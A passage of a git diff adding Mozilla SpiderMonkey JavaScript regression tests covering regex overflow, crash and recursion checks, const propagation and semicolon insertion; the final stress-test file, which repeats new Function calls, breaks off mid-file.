+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+for (var i=0; i<2; i++) {
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-230216-1.js b/js/src/tests/non262/regress/regress-230216-1.js
new file mode 100644
index 0000000000..964adb91b4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-1.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/(a)\21474836481/.test("aa")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' check for overflow in backref';
+
+actual = 'undefined';
+expect = false;
+
+try
+{
+ actual = eval('/a\21474836480/.test("")');
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-230216-2.js b/js/src/tests/non262/regress/regress-230216-2.js
new file mode 100644
index 0000000000..2c09e7e63e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-2.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+DESCRIPTION = summary;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' check for overflow in quantifier';
+
+actual = 'undefined';
+expect0 = 'no exception thrown false';
+expect1 = 'error';
+
+try
+{
+ var result = eval('/a{21474836481}/.test("a")');
+ actual = 'no exception thrown ' + result;
+ status += ' result: ' + result;
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+// The result we get depends on the regexp engine.
+if (actual != 'error')
+ reportCompare(expect0, actual, status);
+else
+ reportCompare(expect1, actual, status);
diff --git a/js/src/tests/non262/regress/regress-230216-3.js b/js/src/tests/non262/regress/regress-230216-3.js
new file mode 100644
index 0000000000..eed31cb635
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-230216-3.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 230216;
+var summary = 'check for numerical overflow in regexps in back reference and bounds for {} quantifier';
+var actual = '';
+var expect = '';
+var status = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = inSection(1) + ' /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = /((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx") + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
+
+status = inSection(2) + ' eval(\'/((\3|b)\2(a)x)+/.exec("aaxabxbaxbbx")\' ';
+
+actual = 'undefined';
+expect = ['ax', 'ax', '', 'a'] + '';
+
+try
+{
+ actual = eval('/((\\3|b)\\2(a)x)+/.exec("aaxabxbaxbbx")') + '';
+}
+catch(e)
+{
+ status += ' Error: ' + e;
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-233483-2.js b/js/src/tests/non262/regress/regress-233483-2.js
new file mode 100644
index 0000000000..8b6f728af3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-233483-2.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+actual = 'Crash';
+window.onload = onLoad;
+
+function onLoad()
+{
+ var a = new Array();
+ var pe;
+ var x;
+ var s;
+
+ setform();
+
+ for (pe=document.getElementById("test"); pe; pe=pe.parentNode)
+ {
+ a[a.length] = pe;
+ }
+
+ // can't document.write since this is in after load fires
+ s = a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var table = form.appendChild(document.createElement('table'));
+ var tbody = table.appendChild(document.createElement('tbody'));
+ var tr = tbody.appendChild(document.createElement('tr'));
+ var td = tr.appendChild(document.createElement('td'))
+ var input = td.appendChild(document.createElement('input'));
+
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+}
diff --git a/js/src/tests/non262/regress/regress-233483.js b/js/src/tests/non262/regress/regress-233483.js
new file mode 100644
index 0000000000..6c4df4fea5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-233483.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 233483;
+var summary = 'Don\'t crash with null properties - Browser only';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+window.onload = onLoad;
+
+function onLoad() {
+ setform();
+ var a=new Array();
+ var forms = document.getElementsByTagName('form');
+ a[a.length]=forms[0];
+ var s=a.toString();
+
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+
+}
+
+function setform()
+{
+ var form = document.body.appendChild(document.createElement('form'));
+ var input = form.appendChild(document.createElement('input'));
+ input.setAttribute('id', 'test');
+ input.setAttribute('value', '1232');
+
+ var result = form.toString();
+
+}
diff --git a/js/src/tests/non262/regress/regress-234389.js b/js/src/tests/non262/regress/regress-234389.js
new file mode 100644
index 0000000000..f3691b16fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-234389.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 234389;
+var summary = 'Do not Crash when overloaded toString causes infinite recursion';
+var actual = ''
+ var expect = 'Internal Error: too much recursion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var foo = {
+ toString: function() {
+ if (this.re.test(this)) {
+ return "";
+ }
+ return this.value;
+ },
+
+ value: "foo",
+
+ re: /bar/
+};
+
+try
+{
+ var f = foo.toString();
+ expect = 'No Crash';
+ actual = 'No Crash';
+}
+catch(ex)
+{
+ expect = 'InternalError: too much recursion';
+ actual = ex.name + ': ' + ex.message;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-238881.js b/js/src/tests/non262/regress/regress-238881.js
new file mode 100644
index 0000000000..9080092c68
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-238881.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238881;
+var summary = 'const propagation for switch too aggressive';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+const C=42;
+function f(C,x)
+{
+ switch(x)
+ {
+ case C:
+ return 1;
+ default:
+ return 0;
+ }
+}
+
+actual = f(44,42);
+expect = 0;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-238945.js b/js/src/tests/non262/regress/regress-238945.js
new file mode 100644
index 0000000000..d33197d4d3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-238945.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 238945;
+var summary = '7.9.1 Automatic Semicolon insertion - allow token following do{}while()';
+var actual = 'error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(){do;while(0)return}f()
+
+ actual = 'no error'
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243174.js b/js/src/tests/non262/regress/regress-243174.js
new file mode 100644
index 0000000000..4352a9aeb0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243174.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 243174;
+var summary = 'Don\'t Crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var result = "-+16-+59-+66-+67-+80-+82-+143-+170-+176-+189-+308-+363-+364-+365-+377-+393-+404-+405-+419-+430-+641-+732-+754-+783-+786-+972-+977-+980-+982-+1010-+1011-+1027-+1028-+1039-+1040-+1074-+1084-+1086-+1098-+1267-+1296-+1305-+1367-+1371-+1379-+1480-+1481-+1482-+1484-+1510-+1526-+1565-+1568-+1574-+1577-+1604-+1632-+1638-+1643-+1657-+1708-+1722-+1941-+1948-+1955-+1965-+1966-+2027-+2039-+2040-+2041-+2048-+2054-+2059-+2090-+2091-+2092-+2105-+2118-+".match(eval("/\\+(3|4|7|21|47|49|53|54|56|57|58|59|60|61|62|64|67|69|72|73|74|76|78|80|84|91|95|96|99|118|120|141|142|145|147|148|149|151|152|160|164|169|170|171|173|174|175|176|181|183|185|186|188|189|190|191|193|200|201|202|204|205|207|208|209|211|214|216|221|223|226|229|230|231|233|237|239|249|250|252|255|258|260|261|267|269|270|278|280|281|290|291|293|294|295|296|297|298|299|300|301|302|303|306|307|308|309|311|313|317|319|321|322|328|329|338|342|343|345|347|349|352|359|360|364|366|367|368|370|373|376|377|378|379|380|381|384|385|386|387|388|389|390|393|394|396|397|398|399|400|402|403|416|418|419|420|423|424|425|428|429|430|432|440|442|444|445|446|448|449|629|643|646|647|649|652|658|668|680|681|682|683|684|703|706|720|722|731|733|736|737|738|741|744|745|749|752|753|754|755|763|786|803|806|807|808|812|829|831|843|844|845|846|847|848|849|851|854|855|856|858|859|860|861|863|866|867|868|869|870|871|875|876|877|878|879|881|882|883|884|885|886|888|889|890|891|892|893|894|895|896|897|898|900|901|903|904|906|908|910|911|912|913|914|915|916|918|919|921|970|971|972|973|980|986|987|988|991|998|1009|1011|1015|1016|1031|1037|1038|1039|1040|1045|1046|1051|1052|1053|1054|1057|1058|1060|1064|1069|1070|1071|1074|1075|1085|1089|1090|1091|1093|1094|1095|1096|1097|1101|1103|1107|1109|1110|1112|1115|1116|1117|1171|1172|1175|1183|1184|1233|1289|1296|1300|1307|1315|1317|1327|1367|1374|1384|1392|1393|1408|1409|1412|1428|1479|1480|1481|1482|1483|1484|1485|1486|1487|1488|1490|1491|1492|1493|1497|1510|1522|1524|1565|1566|1567|1568|1573|1574|1576|1582|1584|1586|1588|1591|1592|1593|1596|1599|1600|1604|1606|1615|1616|1617|1621|1625|1631|1632|1633|1636|1640|1643|1644|1645|1646|1648|1650|1652|1655|1656|1657|1658|1660|1661|1663|1669|1670|1671|1672|1673|1675|1676|1677|1679|1680|1683|1684|1685|1686|1687|1688|1689|1695|1697|1702|1703|1704|1705|1706|1711|1712|1713|1714|1716|1722|1725|1726|1731|1738|1744|1747|1748|1749|1750|1753|1757|1761|1762|1763|1764|1765|1766|1767|1769|1771|1772|1773|1774|1775|1776|1777|1778|1779|1780|1781|1782|1783|1784|1785|1786|1788|1789|1790|1791|1792|1793|1794|1796|1797|1798|1799|1801|1802|1803|1804|1805|1806|1807|1808|1809|1810|1811|1812|1815|1816|1817|1818|1821|1822|1823|1824|1825|1827|1828|1831|1835|1840|1844|1845|1849|1850|1852|1853|1854|1855|1856|1857|1858|1859|1860|1862|1866|1867|1874|1885|1886|1887|1890|1894|1897|1898|1903|1912|1913|1917|1923|1933|1940|1941|1944|1945|1946|1947|1948|1949|1950|1963|1964|1965|1967|1971|1972|1973|1974|1978|1983|1988|1990|1991|2001|2003|2013|2015|2020|2025|2026|2027|2029|2034|2039|2040|2041|2047|2048|2049|2050|2053|2054|2055|2057|2058|2059|2060|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2090|2092|2093|2094|2095|2096|2098|2099|2100|2101|2102|2103|2105|2114|2119|2121|2122|2124|2128|2131|2132|21|170|177|190|191|291|982|1038|1655|1978|2090|2133|1983|783|1582|2102|6|14|53|65|66|67|68|72|85|88|95|96|97|121|126|145|148|154|160|184|188|219|220|258|267|277|289|292|295|297|304|317|318|322|332|342|343|353|354|367|373|378|381|384|398|402|418|419|425|428|438|643|662|665|673|675|705|706|803|876|973|988|1013|1015|1020|1047|1091|1171|1184|1317|1400|1401|1486|1572|1590|1591|1593|1600|1621|1632|1633|1635|1636|1638|1640|1648|1657|1958|1966|1969|1973|1983|2048|2061|2064|2067|2070|2073|2076|2079|2082|2085|2088|2091|2126|2127|2128|1063|986|16|59|66|67|80|82|143|170|176|189|308|363|364|365|377|393|404|405|419|430|641|732|754|783|786|972|977|980|982|1010|1011|1027|1028|1039|1040|1074|1084|1086|1098|1267|1296|1305|1367|1371|1379|1480|1481|1482|1484|1510|1526|1565|1568|1574|1577|1604|1632|1638|1643|1657|1708|1722|1941|1948|1955|1965|1966|2027|2039|2040|2041|2048|2054|2059|2090|2091|2092|2105|2118|1300|971|2047|2050|986|1632|2049|1184|2047)-/g"));
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243389-n.js b/js/src/tests/non262/regress/regress-243389-n.js
new file mode 100644
index 0000000000..00c11b4c2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243389-n.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// test from Henrik Gemal
+var BUGNUMBER = 243389;
+var summary = 'Don\'t crash on Regular Expression';
+var actual = 'Crash';
+var expect = 'error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// this is a syntax error which will fire
+// before the framework is ready. therefore the browser based
+// version will not appear to run this test if it does not crash
+if (/(\\|/)/) {
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-243869.js b/js/src/tests/non262/regress/regress-243869.js
new file mode 100644
index 0000000000..483ca2ef1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-243869.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Alex Vincent
+var BUGNUMBER = 243869;
+var summary = 'Rethrown custom Errors should retain file and line number';
+var actual = '';
+var expect = 'Test Location:123';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function bar()
+{
+ try
+ {
+ var f = new Error("Test Error", "Test Location", 123);
+ throw f;
+ }
+ catch(e)
+ {
+ throw e;
+ }
+}
+
+try
+{
+ bar();
+}
+catch(eb)
+{
+ actual = eb.fileName + ':' + eb.lineNumber
+ }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-244470.js b/js/src/tests/non262/regress/regress-244470.js
new file mode 100644
index 0000000000..b85b9f8e7f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-244470.js
@@ -0,0 +1,1080 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244470;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g;
+for (var i=1; ; ++i) {
+
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
